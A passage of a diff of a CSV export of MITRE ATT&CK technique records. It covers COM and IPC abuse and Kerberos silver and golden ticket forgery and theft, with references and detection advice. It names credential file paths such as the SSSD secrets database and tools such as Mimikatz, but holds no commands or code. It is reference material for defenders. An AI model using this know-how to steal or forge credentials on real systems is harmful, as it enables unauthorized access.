2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1559/001', external_id='T1559.001'), ExternalReference(source_name='Fireeye Hunting COM June 2019', description='Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', url='https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'), ExternalReference(source_name='Microsoft COM', description='Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'), ExternalReference(source_name='ProjectZero File Write EoP Apr 2018', description='Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', url='https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'), ExternalReference(source_name='Enigma Outlook DCOM Lateral Movement Nov 2017', description=""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", url='https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'), ExternalReference(source_name='Enigma MMC20 COM Jan 2017', description='Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/')]",attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 19:30:52.639000+00:00,Component Object Model,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) +Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559/001', 'external_id': 'T1559.001'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'ProjectZero File Write EoP Apr 2018', 'description': 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', 'url': 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'}, {'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'}, {'source_name': 'Enigma MMC20 COM Jan 2017', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) -Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",,,,,True,,,,['Windows'],,,,1.0 -2020-02-12 14:08:48.689000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. +Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ",True,,['Windows'],1.1,True,,,,,, +attack-pattern,attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-12T14:08:48.689Z,2021-10-15T19:48:30.432Z,Inter-Process Communication,"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. -Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1559', external_id='T1559')]",attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-03-28 19:34:47.546000+00:00,Inter-Process Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",,,,,False,,,"['Administrator', 'User', 'SYSTEM']",['Windows'],,,,1.0 -2020-02-11 19:14:48.309000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) +Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1559', 'external_id': 'T1559'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",False,"['Administrator', 'User', 'SYSTEM']","['Windows', 'macOS']",1.1,True,,,,,, +attack-pattern,attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:14:48.309Z,2020-03-25T21:46:46.831Z,Silver Ticket,"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) -Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1558/002', external_id='T1558.002'), ExternalReference(source_name='ADSecurity Silver Tickets', description='Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.', url='https://adsecurity.org/?p=2011'), ExternalReference(source_name='ADSecurity Detecting Forged Tickets', description='Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', url='https://adsecurity.org/?p=1515'), ExternalReference(source_name='Medium Detecting Attempts to Steal Passwords from Memory', description='French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea')]",attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-25 21:46:46.831000+00:00,Silver Ticket,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Logon Session: Logon Session Metadata'],,,,,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) +Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/002', 'external_id': 'T1558.002'}, {'source_name': 'ADSecurity Silver Tickets', 'description': 'Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.', 'url': 'https://adsecurity.org/?p=2011'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Logon Session: Logon Session Metadata'],,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) -Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-02-11 19:13:33.643000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:13:33.643Z,2020-11-05T16:07:03.779Z,Golden Ticket,"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets) -The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1558/001', external_id='T1558.001'), ExternalReference(source_name='AdSecurity Kerberos GT Aug 2015', description='Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.', url='https://adsecurity.org/?p=1640'), ExternalReference(source_name='CERT-EU Golden Ticket Protection', description='Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', url='https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'), ExternalReference(source_name='ADSecurity Detecting Forged Tickets', description='Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', url='https://adsecurity.org/?p=1515'), ExternalReference(source_name='ADSecurity Kerberos and KRBTGT', description='Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.', url='https://adsecurity.org/?p=483'), ExternalReference(source_name='Stealthbits Detect PtT 2019', description='Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', url='https://blog.stealthbits.com/detect-pass-the-ticket-attacks'), ExternalReference(source_name='Microsoft Kerberos Golden Ticket', description='Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', url='https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285')]",attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-11-05 16:07:03.779000+00:00,Golden Ticket,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Itamar Mizrahi, Cymptom']","['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,,,,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) +The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/001', 'external_id': 'T1558.001'}, {'source_name': 'AdSecurity Kerberos GT Aug 2015', 'description': 'Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.', 'url': 'https://adsecurity.org/?p=1640'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'ADSecurity Kerberos and KRBTGT', 'description': 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.', 'url': 'https://adsecurity.org/?p=483'}, {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom']","['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. -",,,,,True,,,['User'],['Windows'],,,,1.1 -2020-02-11 19:12:46.830000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). +",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:12:46.830Z,2021-10-14T22:56:22.054Z,Steal or Forge Kerberos Tickets,"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. + +On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist) + +Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the ""ccache"". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) + -Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1558', external_id='T1558'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/652.html', external_id='CAPEC-652'), ExternalReference(source_name='ADSecurity Kerberos Ring Decoder', description='Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020.', url='https://adsecurity.org/?p=227'), ExternalReference(source_name='ADSecurity Detecting Forged Tickets', description='Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', url='https://adsecurity.org/?p=1515'), ExternalReference(source_name='Stealthbits Detect PtT 2019', description='Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', url='https://blog.stealthbits.com/detect-pass-the-ticket-attacks'), ExternalReference(source_name='CERT-EU Golden Ticket Protection', description='Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', url='https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'), ExternalReference(source_name='Microsoft Kerberos Golden Ticket', description='Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', url='https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'), ExternalReference(source_name='Microsoft Detecting Kerberoasting Feb 2018', description='Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', url='https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'), ExternalReference(source_name='AdSecurity Cracking Kerberos Dec 2015', description='Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', url='https://adsecurity.org/?p=2293'), ExternalReference(source_name='Medium Detecting Attempts to Steal Passwords from Memory', description='French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea')]",attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-11-05 16:07:04.189000+00:00,Steal or Forge Kerberos Tickets,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,,,,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) +Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558', 'external_id': 'T1558'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/652.html', 'external_id': 'CAPEC-652'}, {'source_name': 'ADSecurity Kerberos Ring Decoder', 'description': 'Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020.', 'url': 'https://adsecurity.org/?p=227'}, {'source_name': 'Microsoft Klist', 'description': 'Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/klist'}, {'source_name': 'MIT ccache', 'description': 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.', 'url': 'https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html'}, {'source_name': 'Linux Kerberos Tickets', 'description': 'Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html'}, {'source_name': 'Brining MimiKatz to Unix', 'description': 'Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.', 'url': 'https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf'}, {'source_name': 'Kekeo', 'description': 'Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.', 'url': 'https://github.com/gentilkiwi/kekeo'}, {'source_name': 'SpectorOps Bifrost Kerberos macOS 2019', 'description': 'Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.', 'url': 'https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f'}, {'source_name': 'macOS kerberos framework MIT', 'description': 'Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.', 'url': 'http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tim (Wadhwa-)Brown', 'Cody Thomas, SpecterOps']","['File: File Access', 'Command: Command Execution', 'Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) @@ -1432,36 +1622,38 @@ Monitor for indications of [Pass the 